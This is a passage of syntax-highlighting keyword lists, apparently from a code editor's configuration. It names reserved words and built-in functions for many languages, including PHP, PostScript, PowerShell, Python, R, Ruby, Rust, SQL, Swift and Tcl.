wddx_serialize_value wddx_serialize_vars while win32_above_normal_priority_class win32_below_normal_priority_class win32_continue_service win32_create_service win32_delete_service win32_error_access_denied win32_error_circular_dependency win32_error_database_does_not_exist win32_error_dependent_services_running win32_error_duplicate_service_name win32_error_failed_service_controller_connect win32_error_insufficient_buffer win32_error_invalid_data win32_error_invalid_handle win32_error_invalid_level win32_error_invalid_name win32_error_invalid_parameter win32_error_invalid_service_account win32_error_invalid_service_control win32_error_path_not_found win32_error_service_already_running win32_error_service_cannot_accept_ctrl win32_error_service_database_locked win32_error_service_dependency_deleted win32_error_service_dependency_fail win32_error_service_disabled win32_error_service_does_not_exist win32_error_service_exists win32_error_service_logon_failed win32_error_service_marked_for_delete win32_error_service_no_thread win32_error_service_not_active win32_error_service_request_timeout win32_error_shutdown_in_progress win32_get_last_control_message win32_high_priority_class win32_idle_priority_class win32_no_error win32_normal_priority_class win32_pause_service win32_ps_list_procs win32_ps_stat_mem win32_ps_stat_proc win32_query_service_status win32_realtime_priority_class win32_service_accept_pause_continue win32_service_accept_preshutdown win32_service_accept_shutdown win32_service_accept_stop win32_service_auto_start win32_service_continue_pending win32_service_control_continue win32_service_control_interrogate win32_service_control_pause win32_service_control_preshutdown win32_service_control_shutdown win32_service_control_stop win32_service_demand_start win32_service_disabled win32_service_error_ignore win32_service_error_normal win32_service_interactive_process win32_service_pause_pending win32_service_paused win32_service_running win32_service_runs_in_system_process win32_service_start_pending win32_service_stop_pending win32_service_stopped win32_service_win32_own_process win32_service_win32_own_process_interactive win32_set_service_status win32_start_service win32_start_service_ctrl_dispatcher win32_stop_service wincache_fcache_fileinfo wincache_fcache_meminfo wincache_lock wincache_ocache_fileinfo wincache_ocache_meminfo wincache_refresh_if_changed wincache_rplist_fileinfo wincache_rplist_meminfo wincache_scache_info wincache_scache_meminfo wincache_ucache_add wincache_ucache_cas wincache_ucache_clear wincache_ucache_dec wincache_ucache_delete wincache_ucache_exists wincache_ucache_get wincache_ucache_inc wincache_ucache_info wincache_ucache_meminfo wincache_ucache_set wincache_unlock wnohang wordwrap wsdl_cache_both wsdl_cache_disk wsdl_cache_memory wsdl_cache_none wuntraced x509_purpose_any x509_purpose_crl_sign x509_purpose_ns_ssl_server x509_purpose_smime_encrypt x509_purpose_smime_sign x509_purpose_ssl_client x509_purpose_ssl_server xattr_create xattr_dontfollow xattr_get xattr_list xattr_remove xattr_replace xattr_root xattr_set xattr_supported xdiff_file_bdiff xdiff_file_bdiff_size xdiff_file_bpatch xdiff_file_diff xdiff_file_diff_binary xdiff_file_merge3 xdiff_file_patch xdiff_file_patch_binary xdiff_file_rabdiff xdiff_patch_normal xdiff_patch_reverse xdiff_string_bdiff xdiff_string_bdiff_size xdiff_string_bpatch xdiff_string_diff xdiff_string_diff_binary xdiff_string_merge3 xdiff_string_patch xdiff_string_patch_binary xdiff_string_rabdiff xhprof_disable xhprof_enable xhprof_sample_disable xhprof_sample_enable xml_attribute_cdata xml_attribute_decl_node xml_attribute_entity xml_attribute_enumeration xml_attribute_id xml_attribute_idref xml_attribute_idrefs xml_attribute_nmtoken xml_attribute_nmtokens xml_attribute_node xml_attribute_notation xml_cdata_section_node xml_comment_node xml_document_frag_node xml_document_node xml_document_type_node xml_dtd_node xml_element_decl_node xml_element_node xml_entity_decl_node xml_entity_node xml_entity_ref_node xml_error_async_entity xml_error_attribute_external_entity_ref xml_error_bad_char_ref xml_error_binary_entity_ref xml_error_duplicate_attribute xml_error_external_entity_handling xml_error_incorrect_encoding xml_error_invalid_token xml_error_junk_after_doc_element xml_error_misplaced_xml_pi xml_error_no_elements xml_error_no_memory xml_error_none xml_error_param_entity_ref xml_error_partial_char xml_error_recursive_entity_ref xml_error_string xml_error_syntax xml_error_tag_mismatch xml_error_unclosed_cdata_section xml_error_unclosed_token xml_error_undefined_entity xml_error_unknown_encoding xml_get_current_byte_index xml_get_current_column_number xml_get_current_line_number xml_get_error_code xml_html_document_node xml_local_namespace xml_namespace_decl_node xml_notation_node xml_option_case_folding xml_option_skip_tagstart xml_option_skip_white xml_option_target_encoding xml_parse xml_parse_into_struct xml_parser_create xml_parser_create_ns xml_parser_free xml_parser_get_option xml_parser_set_option xml_pi_node xml_sax_impl xml_set_character_data_handler xml_set_default_handler xml_set_element_handler xml_set_end_namespace_decl_handler xml_set_external_entity_ref_handler xml_set_notation_decl_handler xml_set_object xml_set_processing_instruction_handler xml_set_start_namespace_decl_handler xml_set_unparsed_entity_decl_handler xml_text_node xmlrpc_decode xmlrpc_decode_request xmlrpc_encode xmlrpc_encode_request xmlrpc_get_type xmlrpc_is_fault xmlrpc_parse_method_descriptions xmlrpc_server_add_introspection_data xmlrpc_server_call_method xmlrpc_server_create xmlrpc_server_destroy xmlrpc_server_register_introspection_callback xmlrpc_server_register_method xmlrpc_set_type xmlwriter_end_attribute xmlwriter_end_cdata xmlwriter_end_comment xmlwriter_end_document xmlwriter_end_dtd xmlwriter_end_dtd_attlist xmlwriter_end_dtd_element xmlwriter_end_dtd_entity xmlwriter_end_element xmlwriter_end_pi xmlwriter_flush xmlwriter_full_end_element xmlwriter_open_memory xmlwriter_open_uri xmlwriter_output_memory xmlwriter_set_indent xmlwriter_set_indent_string xmlwriter_start_attribute xmlwriter_start_attribute_ns xmlwriter_start_cdata xmlwriter_start_comment xmlwriter_start_document xmlwriter_start_dtd xmlwriter_start_dtd_attlist xmlwriter_start_dtd_element xmlwriter_start_dtd_entity xmlwriter_start_element xmlwriter_start_element_ns xmlwriter_start_pi xmlwriter_text xmlwriter_write_attribute xmlwriter_write_attribute_ns xmlwriter_write_cdata xmlwriter_write_comment xmlwriter_write_dtd xmlwriter_write_dtd_attlist xmlwriter_write_dtd_element xmlwriter_write_dtd_entity xmlwriter_write_element xmlwriter_write_element_ns xmlwriter_write_pi xmlwriter_write_raw xor xsd_1999_namespace xsd_1999_timeinstant xsd_anytype xsd_anyuri xsd_anyxml xsd_base64binary xsd_boolean xsd_byte xsd_date xsd_datetime xsd_decimal xsd_double xsd_duration xsd_entities xsd_entity xsd_float xsd_gday xsd_gmonth xsd_gmonthday xsd_gyear xsd_gyearmonth xsd_hexbinary xsd_id xsd_idref xsd_idrefs xsd_int xsd_integer xsd_language xsd_long xsd_name xsd_namespace xsd_ncname xsd_negativeinteger xsd_nmtoken xsd_nmtokens xsd_nonnegativeinteger xsd_nonpositiveinteger xsd_normalizedstring xsd_notation xsd_positiveinteger xsd_qname xsd_short xsd_string xsd_time xsd_token xsd_unsignedbyte xsd_unsignedint xsd_unsignedlong xsd_unsignedshort xsl_clone_always xsl_clone_auto xsl_clone_never xsl_secpref_create_directory xsl_secpref_default xsl_secpref_none xsl_secpref_read_file xsl_secpref_read_network xsl_secpref_write_file xsl_secpref_write_network yaml_any_break yaml_any_encoding yaml_any_scalar_style yaml_bool_tag yaml_cr_break yaml_crln_break yaml_double_quoted_scalar_style yaml_emit yaml_emit_file yaml_float_tag yaml_folded_scalar_style yaml_int_tag yaml_literal_scalar_style yaml_ln_break yaml_map_tag yaml_null_tag yaml_parse yaml_parse_file yaml_parse_url yaml_php_tag yaml_plain_scalar_style yaml_seq_tag yaml_single_quoted_scalar_style yaml_str_tag yaml_timestamp_tag yaml_utf16be_encoding yaml_utf16le_encoding yaml_utf8_encoding yesexpr yesstr yield zend_debug_build zend_logo_guid zend_multibyte zend_thread_id zend_thread_safe zend_version zip_close zip_entry_close zip_entry_compressedsize zip_entry_compressionmethod zip_entry_filesize zip_entry_name zip_entry_open zip_entry_read zip_open zip_read zlib_decode zlib_encode zlib_encoding_deflate zlib_encoding_gzip zlib_encoding_raw zlib_get_coding_type + + + $error = == FontDirectory StandardEncoding UserObjects abs add aload anchorsearch and arc arcn arcto array ashow astore atan awidthshow begin bind bitshift bytesavailable cachestatus ceiling charpath clear cleardictstack cleartomark clip clippath closefile closepath concat concatmatrix copy copypage cos count countdictstack countexecstack counttomark currentcmykcolor currentcolorspace currentdash currentdict currentfile currentflat currentfont currentgray currenthsbcolor currentlinecap currentlinejoin currentlinewidth currentmatrix currentmiterlimit currentpagedevice currentpoint currentrgbcolor currentscreen currenttransfer cvi cvlit cvn cvr cvrs cvs cvx def defaultmatrix definefont dict dictstack div dtransform dup echo end eoclip eofill eq erasepage errordict exch exec execstack executeonly executive exit exp false file fill findfont flattenpath floor flush flushfile for forall ge get getinterval grestore grestoreall gsave gt idetmatrix idiv idtransform if ifelse image imagemask index initclip initgraphics initmatrix inustroke invertmatrix itransform known kshow le length lineto ln load log loop lt makefont mark matrix maxlength mod moveto mul ne neg newpath noaccess nor not null nulldevice or pathbbox pathforall pop print prompt pstack put putinterval quit rand rcheck rcurveto read readhexstring readline readonly readstring rectstroke repeat resetfile restore reversepath rlineto rmoveto roll rotate round rrand run save scale scalefont search setblackgeneration setcachedevice setcachelimit setcharwidth setcolorscreen setcolortransfer setdash setflat setfont setgray sethsbcolor setlinecap setlinejoin setlinewidth setmatrix setmiterlimit setpagedevice setrgbcolor setscreen settransfer setvmthreshold show showpage sin sqrt srand stack start status statusdict stop stopped store string stringwidth stroke strokepath sub systemdict token transform translate true truncate type ueofill undefineresource userdict usertime version vmstatus wcheck where widthshow write writehexstring writestring xcheck xor + GlobalFontDirectory ISOLatin1Encoding SharedFontDirectory UserObject arct colorimage cshow currentblackgeneration currentcacheparams currentcmykcolor currentcolor currentcolorrendering currentcolorscreen currentcolorspace currentcolortransfer currentdevparams currentglobal currentgstate currenthalftone currentobjectformat currentoverprint currentpacking currentpagedevice currentshared currentstrokeadjust currentsystemparams currentundercolorremoval currentuserparams defineresource defineuserobject deletefile execform execuserobject filenameforall fileposition filter findencoding findresource gcheck globaldict glyphshow gstate ineofill infill instroke inueofill inufill inustroke languagelevel makepattern packedarray printobject product realtime rectclip rectfill rectstroke renamefile resourceforall resourcestatus revision rootfont scheck selectfont serialnumber setbbox setblackgeneration setcachedevice2 setcacheparams setcmykcolor setcolor setcolorrendering setcolorscreen setcolorspace setcolortranfer setdevparams setfileposition setglobal setgstate sethalftone setobjectformat setoverprint setpacking setpagedevice setpattern setshared setstrokeadjust setsystemparams setucacheparams setundercolorremoval setuserparams setvmthreshold shareddict startjob uappend ucache ucachestatus ueofill ufill undef undefinefont undefineresource undefineuserobject upath ustroke ustrokepath vmreclaim writeobject xshow xyshow yshow + cliprestore clipsave composefont currentsmoothness findcolorrendering setsmoothness shfill + .begintransparencygroup .begintransparencymask .bytestring .charboxpath .currentaccuratecurves .currentblendmode .currentcurvejoin .currentdashadapt .currentdotlength .currentfilladjust2 .currentlimitclamp .currentopacityalpha .currentoverprintmode .currentrasterop .currentshapealpha .currentsourcetransparent .currenttextknockout .currenttexturetransparent .dashpath .dicttomark .discardtransparencygroup .discardtransparencymask .endtransparencygroup .endtransparencymask .execn .filename .fileposition .forceput .forceundef .forgetsave .getbitsrect .getdevice .inittransparencymask .knownget .locksafe .makeoperator .namestring .oserrno .oserrorstring .peekstring .rectappend .runandhide .setaccuratecurves .setblendmode .setcurvejoin .setdashadapt .setdebug .setdefaultmatrix .setdotlength .setfilladjust2 .setlimitclamp .setmaxlength .setopacityalpha .setoverprintmode .setrasterop .setsafe .setshapealpha .setsourcetransparent .settextknockout .settexturetransparent .stringbreak .stringmatch .tempfile .type1decrypt .type1encrypt .type1execchar .unread arccos arcsin copydevice copyscanlines currentdevice finddevice findlibfile findprotodevice flushpage getdeviceprops getenv makeimagedevice makewordimagedevice max min putdeviceprops setdevice + + + break continue do else elseif filter for foreach function if in return switch until where while + add-content add-history add-member add-pssnapin clear-content clear-item clear-itemproperty clear-variable compare-object convertfrom-securestring convert-path convertto-html convertto-securestring copy-item copy-itemproperty export-alias export-clixml export-console export-csv foreach-object format-custom format-list format-table format-wide get-acl get-alias get-authenticodesignature get-childitem get-command get-content get-credential get-culture get-date get-eventlog get-executionpolicy get-help get-history get-host get-item get-itemproperty get-location get-member get-pfxcertificate get-process get-psdrive get-psprovider get-pssnapin get-service get-tracesource get-uiculture get-unique get-variable get-wmiobject group-object import-alias import-clixml import-csv invoke-expression invoke-history invoke-item join-path measure-command measure-object move-item move-itemproperty new-alias new-item new-itemproperty new-object new-psdrive new-service new-timespan new-variable out-default out-file out-host out-null out-printer out-string pop-location push-location read-host remove-item remove-itemproperty remove-psdrive remove-pssnapin remove-variable rename-item rename-itemproperty resolve-path restart-service resume-service select-object select-string set-acl set-alias set-authenticodesignature set-content set-date set-executionpolicy set-item set-itemproperty set-location set-psdebug set-service set-tracesource set-variable sort-object split-path start-service start-sleep start-transcript stop-process stop-service stop-transcript suspend-service tee-object test-path trace-command update-formatdata update-typedata where-object write-debug write-error write-host write-output write-progress write-verbose write-warning + ac asnp clc cli clp clv cpi cpp cvpa diff epal epcsv fc fl foreach ft fw gal gc gci gcm gdr ghy gi gl gm gp gps group gsv gsnp gu gv gwmi iex ihy ii ipal ipcsv mi mp nal ndr ni nv oh rdr ri rni rnp rp rsnp rv rvpa sal sasv sc select si sl sleep sort sp spps spsv sv tee where write cat cd clear cp h history kill lp ls mount mv popd ps pushd pwd r rm rmdir echo cls chdir copy del dir erase move rd ren set type + component description example externalhelp forwardhelpcategory forwardhelptargetname functionality inputs link notes outputs parameter remotehelprunspace role synopsis + + + + + and break case continue data datasection declare declarecdll declaredll default deftype dim else elseif end enddatasection endenumeration endif endinterface endprocedure endselect endstructure endstructureunion enumeration extends fakereturn for foreach forever global gosub goto if includebinary includefile includepath interface newlist next or procedure procedurecdll proceduredll procedurereturn protected read repeat restore return select shared static step structure structureunion to until wend while xincludefile + compilercase compilerdefault compilerelse compilerendif compilerendselect compilerif compilerselect + + + + + and as assert break class continue def del elif else except exec False finally for from global if import in is lambda None not or pass print raise return True try while with yield async await + + + if else repeat while function for in next break TRUE FALSE NULL NA Inf NaN + abbreviate abline abs acf acos acosh addmargins aggregate agrep alarm alias alist all anova any aov aperm append apply approx approxfun apropos ar args arima array arrows asin asinh assign assocplot atan atanh attach attr attributes autoload autoloader ave axis backsolve barplot basename beta bindtextdomain binomial biplot bitmap bmp body box boxplot bquote break browser builtins bxp by bzfile c call cancor capabilities casefold cat category cbind ccf ceiling character charmatch chartr chol choose chull citation class close cm cmdscale codes coef coefficients col colnames colors colorspaces colours comment complex confint conflicts contour contrasts contributors convolve cophenetic coplot cor cos cosh cov covratio cpgram crossprod cummax cummin cumprod cumsum curve cut cutree cycle data dataentry date dbeta dbinom dcauchy dchisq de debug debugger decompose delay deltat demo dendrapply density deparse deriv det detach determinant deviance dexp df dfbeta dfbetas dffits dgamma dgeom dget dhyper diag diff diffinv difftime digamma dim dimnames dir dirname dist dlnorm dlogis dmultinom dnbinom dnorm dotchart double dpois dput drop dsignrank dt dump dunif duplicated dweibull dwilcox eapply ecdf edit effects eigen emacs embed end environment eval evalq example exists exp expression factanal factor factorial family fft fifo file filter find fitted fivenum fix floor flush for force formals format formula forwardsolve fourfoldplot frame frequency ftable function gamma gaussian gc gcinfo gctorture get getenv geterrmessage gettext gettextf getwd gl glm globalenv gray grep grey grid gsub gzcon gzfile hat hatvalues hcl hclust head heatmap help hist history hsv httpclient iconv iconvlist identical identify if ifelse image influence inherits integer integrate interaction interactive intersect invisible isoreg jitter jpeg julian kappa kernapply kernel kmeans knots kronecker ksmooth labels lag lapply layout lbeta lchoose lcm legend length letters levels lfactorial lgamma library licence license line lines list lm load loadhistory loadings local locator loess log logb logical loglin lowess ls lsfit machine mad mahalanobis makepredictcall manova mapply match matlines matplot matpoints matrix max mean median medpolish menu merge message methods mget min missing mode monthplot months mosaicplot mtext mvfft names napredict naprint naresid nargs nchar ncol next nextn ngettext nlevels nlm nls noquote nrow numeric objects offset open optim optimise optimize options order ordered outer pacf page pairlist pairs palette par parse paste pbeta pbinom pbirthday pcauchy pchisq pdf pentagamma person persp pexp pf pgamma pgeom phyper pi pico pictex pie piechart pipe plclust plnorm plogis plot pmatch pmax pmin pnbinom png pnorm points poisson poly polygon polym polyroot postscript power ppoints ppois ppr prcomp predict preplot pretty princomp print prmatrix prod profile profiler proj promax prompt provide psigamma psignrank pt ptukey punif pweibull pwilcox q qbeta qbinom qbirthday qcauchy qchisq qexp qf qgamma qgeom qhyper qlnorm qlogis qnbinom qnorm qpois qqline qqnorm qqplot qr qsignrank qt qtukey quantile quarters quasi quasibinomial quasipoisson quit qunif quote qweibull qwilcox rainbow range rank raw rbeta rbind rbinom rcauchy rchisq readline real recover rect reformulate regexpr relevel remove reorder rep repeat replace replicate replications require reshape resid residuals restart return rev rexp rf rgamma rgb rgeom rhyper rle rlnorm rlogis rm rmultinom rnbinom rnorm round row rownames rowsum rpois rsignrank rstandard rstudent rt rug runif runmed rweibull rwilcox sample sapply save savehistory scale scan screen screeplot sd search searchpaths seek segments seq sequence serialize setdiff setequal setwd shell sign signif sin single sinh sink smooth solve sort source spectrum spline splinefun split sprintf sqrt stack stars start stderr stdin stdout stem step stepfun stl stop stopifnot str strftime strheight stripchart strptime strsplit strtrim structure strwidth strwrap sub subset substitute substr substring sum summary sunflowerplot supsmu svd sweep switch symbols symnum system t table tabulate tail tan tanh tapply tempdir tempfile termplot terms tetragamma text time title toeplitz tolower topenv toupper trace traceback transform trigamma trunc truncate try ts tsdiag tsp typeof unclass undebug union unique uniroot unix unlink unlist unname unserialize unsplit unstack untrace unz update upgrade url var varimax vcov vector version vi vignette warning warnings weekdays weights which while window windows with write wsbrowser xedit xemacs xfig xinch xor xtabs xyinch yinch zapsmall + acme aids aircondit amis aml banking barchart barley beaver bigcity boot brambles breslow bs bwplot calcium cane capability cav censboot channing city claridge cloth cloud coal condense contourplot control corr darwin densityplot dogs dotplot ducks empinf envelope environmental ethanol fir frets gpar grav gravity grob hirose histogram islay knn larrows levelplot llines logit lpoints lsegments lset ltext lvqinit lvqtest manaus melanoma motor multiedit neuro nitrofen nodal ns nuclear oneway parallel paulsen poisons polar qq qqmath remission rfs saddle salinity shingle simplex singer somgrid splom stripplot survival tau tmd tsboot tuna unit urine viewport wireframe wool xyplot + + + about abs absolute add alert alias all alter and any any-block? any-function? any-string? any-type? any-word? append arccosine arcsine arctangent array as-pair ask at attempt back binary? bind bitset? block? break brightness? browse build-tag caret-to-offset catch center-face change change-dir char? charset checksum choose clean-path clear clear-fields close comment complement component? compose compress confirm connected? construct context copy cosine datatype? date? debase decimal? decode-cgi decompress dehex delete detab difference dir? dirize disarm dispatch divide do do-events does dump-face dump-obj echo either else email? empty? enbase entab equal? error? even? event? exclude exists? exit exp extract fifth file? find first flash focus for forall foreach forever form forskip found? fourth free func function function? get get-modes get-word? greater-or-equal? greater? halt has hash? head head? help hide hide-popup if image? import-email in in-window? index? info? inform input input? insert integer? intersect issue? join last launch layout length? lesser-or-equal? lesser? library? license link? list-dir list? lit-path? lit-word? load load-image log-10 log-2 log-e logic? loop lowercase make make-dir make-face max maximum maximum-of min minimum minimum-of modified? mold money? multiply native? negate negative? next none? not not-equal? now number? object? odd? offset-to-caret offset? op? open or pair? paren? parse parse-xml path? pick poke port? positive? power prin print probe protect protect-system query quit random read read-io recycle reduce refinement? reform rejoin remainder remold remove remove-each rename repeat repend replace request request-color request-date request-download request-file request-list request-pass request-text resend return reverse routine? same? save script? second secure select send series? set set-modes set-net set-path? set-word? show show-popup sign? sine size-text size? skip sort source span? split-path square-root strict-equal? strict-not-equal? string? struct? stylize subtract suffix? switch tag? tail tail? tangent third throw time? to to-binary to-bitset to-block to-char to-date to-decimal to-email to-file to-get-word to-hash to-hex to-idate to-image to-integer to-issue to-list to-lit-path to-lit-word to-local-file to-logic to-money to-pair to-paren to-path to-rebol-file to-refinement to-set-path to-set-word to-string to-tag to-time to-tuple to-url to-word trace trim try tuple? type? unfocus union unique unprotect unset unset? until unview update upgrade uppercase url? usage use value? view viewed? wait what what-dir while within? word? write write-io xor zero? + action? any-block? any-function? any-string? any-type? any-word? binary? bitset? block? char? component? connected? datatype? date? decimal? dir? email? empty? equal? error? even? event? exists? file? found? function? get-word? greater-or-equal greater? hash? head? image? index? info? input? integer? issue? length? lesser-or-equal? lesser? library? link-app? link? list? lit-path? lit-word? logic? modified? money? native? negative? none? not-equal? number? object? odd? offset? op? pair? paren? path? port? positive? rebol-command? rebol-encap? rebol-link? rebol-pro? rebol-view? refinement? routine? same? script? series? set-path? set-word? sign? size? strict-equal? strict-not-equal string? struct? suffix? tag? tail? time? tuple? type? unset? url? value? view? word? zero? + action! any-block! any-function! any-string! any-type! any-word! binary! bitset! block! char! datatype! date! decimal! email! error! event! file! function! get-word! hash! image! integer! issue! library! list! lit-path! lit-word! logic! money! native! none! number! object! op! pair! paren! path! port! refinement! routine! series! set-path! set-word! string! struct! symbol! tag! time! tuple! unset! url! word! + + + + + + + + + ACCELERATORS ALT AUTO3STATE AUTOCHECKBOX AUTORADIOBUTTON BEGIN BITMAP BLOCK BUTTON CAPTION CHARACTERISTICS CHECKBOX CLASS COMBOBOX CONTROL CTEXT CURSOR DEFPUSHBUTTON DIALOG DIALOGEX DISCARDABLE EDITTEXT END EXSTYLE FONT GROUPBOX ICON LANGUAGE LISTBOX LTEXT MENU MENUEX MENUITEM MESSAGETABLE POPUP PUSHBUTTON RADIOBUTTON RCDATA RTEXT SCROLLBAR SEPARATOR SHIFT STATE3 STRINGTABLE STYLE TEXTINCLUDE VALUE VERSION VERSIONINFO VIRTKEY + + + ARGF ARGV BEGIN END ENV FALSE DATA NIL RUBY_PATCHLEVEL RUBY_PLATFORM RUBY_RELEASE_DATE RUBY_VERSION PLATFORM RELEASE_DATE STDERR STDIN STDOUT TOPLEVEL_BINDING TRUE __ENCODING__ __END__ __FILE__ __LINE__ alias and begin break case class def defined? do else elsif end ensure false for if in module next nil not or redo rescue retry return self super then true undef unless until when while yield + + + alignof as be box break const continue crate do else enum extern false fn for if impl in let loop match mod mut offsetof once priv proc pub pure ref return self sizeof static struct super trait true type typeof unsafe unsized use virtual while yield + bool char f32 f64 i16 i32 i64 i8 int str u16 u32 u64 u8 uint + Self + + + + + + + + - * / = < > <= >= => abs acos and angle append apply asin assoc assq assv atan begin boolean? caar cadr call-with-current-continuation call/cc call-with-input-file call-with-output-file call-with-values car cdr cdar cddr caaar caadr cadar caddr cdaar cdadr cddar cdddr caaaar caaadr caadar caaddr cadaar cadadr caddar cadddr cdaaar cdaadr cdadar cdaddr cddaar cddadr cdddar cddddr case ceiling char->integer char-alphabetic? char-ci<=? char-ci<? char-ci=? char-ci>=? char-ci>? char-downcase char-lower-case? char-numeric? char-ready? char-upcase char-upper-case? char-whitespace? char<=? char<? char=? char>=? char>? char? close-input-port close-output-port complex? cond cons cos current-input-port current-output-port define define-syntax delay denominator display do dynamic-wind else eof-object? eq? equal? eqv? eval even? exact->inexact exact? exp expt floor for-each force gcd if imag-part inexact->exact inexact? input-port? integer->char integer? interaction-environment lambda lcm length let let* let-syntax letrec letrec-syntax list list->string list->vector list-ref list-tail list? load log magnitude make-polar make-rectangular make-string make-vector map max member memq memv min modulo negative? newline not null-environment null? number->string number? numerator odd? open-input-file open-output-file or output-port? pair? peek-char positive? procedure? quasiquote quote quotient rational? rationalize read read-char real-part real? remainder reverse round scheme-report-environment set! set-car! set-cdr! sin sqrt string string->list string->number string->symbol string-append string-ci<=? string-ci<? string-ci=? string-ci>=? string-ci>? string-copy string-fill! string-length string-ref string-set! string<=? string<? string=? string>=? string>? string? substring symbol->string symbol? syntax-rules transcript-off transcript-on truncate unquote unquote-splicing values vector vector->list vector-fill! vector-length vector-ref vector-set! vector? with-input-from-file with-output-to-file write write-char zero? + + + + ifTrue: ifFalse: whileTrue: whileFalse: ifNil: ifNotNil: whileTrue whileFalse repeat isNil notNil + + + ac alias alter alterparam append askvalues assertvalid autoscale break compose copy copytodoc dc delete destroy destroyvec diff display disto dowhile echo else end errorstop fftinit filter foreach fourier freqtotime function functionundef goto homecursors if isdisplayed label let linearize listing load loadaccumulator makelabel movelabel makesmithplot movecursorleft movecursorright msgbox nameplot newplot nextparam noise nopoints op plot plotf plotref poly print printcursors printevent printname printplot printstatus printtext printtol printunits printval printvector pwl pz quit removesmithplot rename repeat resume rotate runs rusage save sendplot sendscript sens set setcursor setdoc setlabel setlabeltype setmargins setnthtrigger setunits setvec setparam setplot setquery setscaletype settracecolor settracestyle setsource settrigger setvec setxlimits setylimits show showmod sort status step stop switch tf timetofreq timetowave tran unalias unlet unset unalterparam update version view wavefilter wavetotime where while write + abs askvalue atan average ceil cos db differentiate differentiatex exp finalvalue floor getcursorx getcursory getcursory0 getcursory1 getparam im ln initialvalue integrate integratex interpolate isdef isdisplayed j log length mag, max maxscale mean meanpts min minscale nextplot nextvector norm operatingpoint ph phase phaseextend pk_pk pos pulse re rms rmspts rnd sameplot sin sqrt stddev stddevpts tan tfall tolerance trise unitvec vector + param nodeset include options dcconv subckt ends model + + + abs absolute access acos add add_months adddate admin after aggregate all allocate alter and any app_name are array as asc ascii asin assertion at atan atn2 audit authid authorization autonomous_transaction avg before begin benchmark between bfilename bigint bin binary binary_checksum binary_integer bit bit_count bit_and bit_or blob body boolean both breadth bulk by call cascade cascaded case cast catalog ceil ceiling char char_base character charindex chartorowid check checksum checksum_agg chr class clob close cluster coalesce col_length col_name collate collation collect column comment commit completion compress concat concat_ws connect connection constant constraint constraints constructorcreate contains containsable continue conv convert corr corresponding cos cot count count_big covar_pop covar_samp create cross cube cume_dist current current_date current_path current_role current_time current_timestamp current_user currval cursor cycle data datalength databasepropertyex date date_add date_format date_sub dateadd datediff datename datepart datetime day db_id db_name deallocate dec declare decimal decode default deferrable deferred degrees delete dense_rank depth deref desc describe descriptor destroy destructor deterministic diagnostics dictionary disconnect difference distinct do domain double drop dump dynamic each else elsif empth encode encrypt end end-exec equals escape every except exception exclusive exec execute exists exit exp export_set extends external extract false fetch first first_value file float floor file_id file_name filegroup_id filegroup_name filegroupproperty fileproperty for forall foreign format formatmessage found freetexttable from from_days fulltextcatalog fulltextservice function general get get_lock getdate getansinull getutcdate global go goto grant greatest group grouping having heap hex hextoraw host host_id host_name hour ident_incr ident_seed ident_current identified identity if ifnull ignore immediate in increment index index_col indexproperty indicator initcap initial initialize initially inner inout input insert instr instrb int integer interface intersect interval into is is_member is_srvrolemember is_null is_numeric isdate isnull isolation iterate java join key lag language large last last_day last_value lateral lcase lead leading least left len length lengthb less level like limit limited ln lpad local localtime localtimestamp locator lock log log10 long loop lower ltrim make_ref map match max maxextents merge mid min minus minute mlslabel mod mode modifies modify module month months_between names national natural naturaln nchar nclob new new_time newid next next_day nextval no noaudit nocompress nocopy none not nowait null nullif number number_base numeric nvl nvl2 nvarchar object object_id object_name object_property ocirowid oct of off offline old on online only opaque open operator operation option or ord order ordinalityorganization others out outer output package pad parameter parameters partial partition path pctfree percent_rank pi pls_integer positive positiven postfix pow power pragma precision prefix preorder prepare preserve primary prior private privileges procedure public radians raise rand range rank ratio_to_export raw rawtohex read reads real record recursive ref references referencing reftohex relative release release_lock rename repeat replace resource restrict result return returns reverse revoke right rollback rollup round routine row row_number rowid rowidtochar rowlabel rownum rows rowtype rpad rtrim savepoint schema scroll scope search second section seddev_samp select separate sequence session session_user set sets share sign sin sinh size smallint some soundex space specific specifictype sql sqlcode sqlerrm sqlexception sqlstate sqlwarning sqrt start state statement static std stddev stdev_pop strcmp structure subdate substr substrb substring substring_index subtype successful sum synonym sys_context sys_guid sysdate system_user table tan tanh temporary terminate than then time timestamp timezone_abbr timezone_minute timezone_hour timezone_region tinyint to to_char to_date to_days to_number to_single_byte trailing transaction translate translation treat trigger trim true trunc truncate type ucase uid under union unique uniqueidentifier unknown unnest update upper usage use user userenv using validate value values var_pop var_samp varbinary varchar varchar2 variable variance varying view vsize when whenever where with without while work write year zone + + + + class deinit enum extension func import init internal let operator private protocol public static struct subscript typealias var keywordclass.swift.statements=break case continue default do else fallthrough for if in return switch where while + as dynamicType false is nil self Self super true __COLUMN__ __FILE__ __FUNCTION__ __LINE__ + associativity convenience dynamic didSet final get infix inout lazy left mutating none nonmutating optional override postfix precedence prefix Protocol required right set Type unowned weak willSet + + + after append array auto_execok auto_import auto_load auto_load_index auto_qualify beep binary break case catch cd clock close concat continue dde default echo else elseif encoding eof error eval exec exit expr fblocked fconfigure fcopy file fileevent flush for foreach format gets glob global history if incr info interp join lappend lindex linsert list llength load lrange lreplace lsearch lsort namespace open package pid pkg_mkIndex proc puts pwd read regexp regsub rename resource return scan seek set socket source split string subst switch tclLog tclMacPkgSearch tclPkgSetup tclPkgUnknown tell time trace unknown unset update uplevel upvar variable vwait while + bell bind bindtags button canvas checkbutton console destroy entry event focus font frame grab grid image label listbox menu menubutton message pack place radiobutton raise scale scrollbar text tk tkwait toplevel winfo wm + @scope body class code common component configbody constructor define destructor hull import inherit itcl itk itk_component itk_initialize itk_interior itk_option iwidgets keep method private protected public + tkButtonDown tkButtonEnter tkButtonInvoke tkButtonLeave tkButtonUp tkCancelRepeat tkCheckRadioInvoke tkDarken tkEntryAutoScan tkEntryBackspace tkEntryButton1 tkEntryClosestGap tkEntryInsert tkEntryKeySelect tkEntryMouseSelect tkEntryNextWord tkEntryPaste tkEntryPreviousWord tkEntrySeeInsert tkEntrySetCursor tkEntryTranspose tkEventMotifBindings tkFDGetFileTypes tkFirstMenu tkFocusGroup_Destroy tkFocusGroup_In tkFocusGroup_Out tkFocusOK tkListboxAutoScan tkListboxBeginExtend tkListboxBeginSelect tkListboxBeginToggle tkListboxCancel tkListboxDataExtend tkListboxExtendUpDown tkListboxMotion tkListboxSelectAll tkListboxUpDown tkMbButtonUp tkMbEnter tkMbLeave tkMbMotion tkMbPost tkMenuButtonDown tkMenuDownArrow tkMenuDup tkMenuEscape tkMenuFind tkMenuFindName tkMenuFirstEntry tkMenuInvoke tkMenuLeave tkMenuLeftArrow tkMenuMotion 